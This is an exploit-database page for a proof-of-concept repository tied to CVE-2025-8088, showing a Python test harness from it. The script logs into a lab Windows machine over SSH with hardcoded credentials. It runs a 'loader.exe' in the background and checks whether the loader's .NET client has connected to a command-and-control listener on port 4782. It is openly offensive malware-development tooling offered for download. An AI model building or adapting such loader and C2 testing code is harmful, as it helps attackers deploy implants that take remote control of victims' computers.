Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files42
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

loader/test_vm4.py

Python · 2,121 bytes
"""Run loader, wait longer, check for connection"""
import paramiko, sys, time

sys.stdout = open(1, 'w', encoding='utf-8', errors='replace')

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123')

# Kill any old loader
ssh.exec_command('powershell Stop-Process -Name loader -Force -ErrorAction SilentlyContinue')
time.sleep(2)

# Delete old log
ssh.exec_command('del C:\\Users\\lewis\\Desktop\\ldr_log.txt 2>nul')
time.sleep(1)

# Run loader (starts in background via start /B)
stdin, stdout, stderr = ssh.exec_command('start /B C:\\Users\\lewis\\Desktop\\loader.exe', timeout=10)
time.sleep(3)

# Wait longer (15s) for .NET startup
print("Waiting for .NET client to connect...")
time.sleep(15)

# Check process
stdin, stdout, stderr = ssh.exec_command('powershell "Get-Process -Name loader -ErrorAction SilentlyContinue | Format-Table Id,ProcessName,StartTime -AutoSize"')
proc_out = stdout.read().decode('gbk', errors='replace')
print("=== Loader process ===")
print(proc_out if proc_out.strip() else "Not running (crashed/exited)")

# Check connections to C2
stdin, stdout, stderr = ssh.exec_command('powershell "Get-NetTCPConnection -RemotePort 4782 -ErrorAction SilentlyContinue | Format-Table LocalAddress,LocalPort,RemoteAddress,RemotePort,State -AutoSize"')
conn_out = stdout.read().decode('gbk', errors='replace')
print("=== Connection to 4782 ===")
print(conn_out if conn_out.strip() else "No connections")

# Check all connections
stdin, stdout, stderr = ssh.exec_command('powershell "Get-NetTCPConnection -RemoteAddress 192.168.30.1 -ErrorAction SilentlyContinue | Format-Table LocalAddress,LocalPort,RemoteAddress,RemotePort,State -AutoSize"')
all_out = stdout.read().decode('gbk', errors='replace')
print("=== All connections to 192.168.30.1 ===")
print(all_out if all_out.strip() else "None")

# Check log
stdin, stdout, stderr = ssh.exec_command('type C:\\Users\\lewis\\Desktop\\ldr_log.txt 2>nul')
log_out = stdout.read().decode('gbk', errors='replace')
print("=== Log ===")
print(log_out)

ssh.close()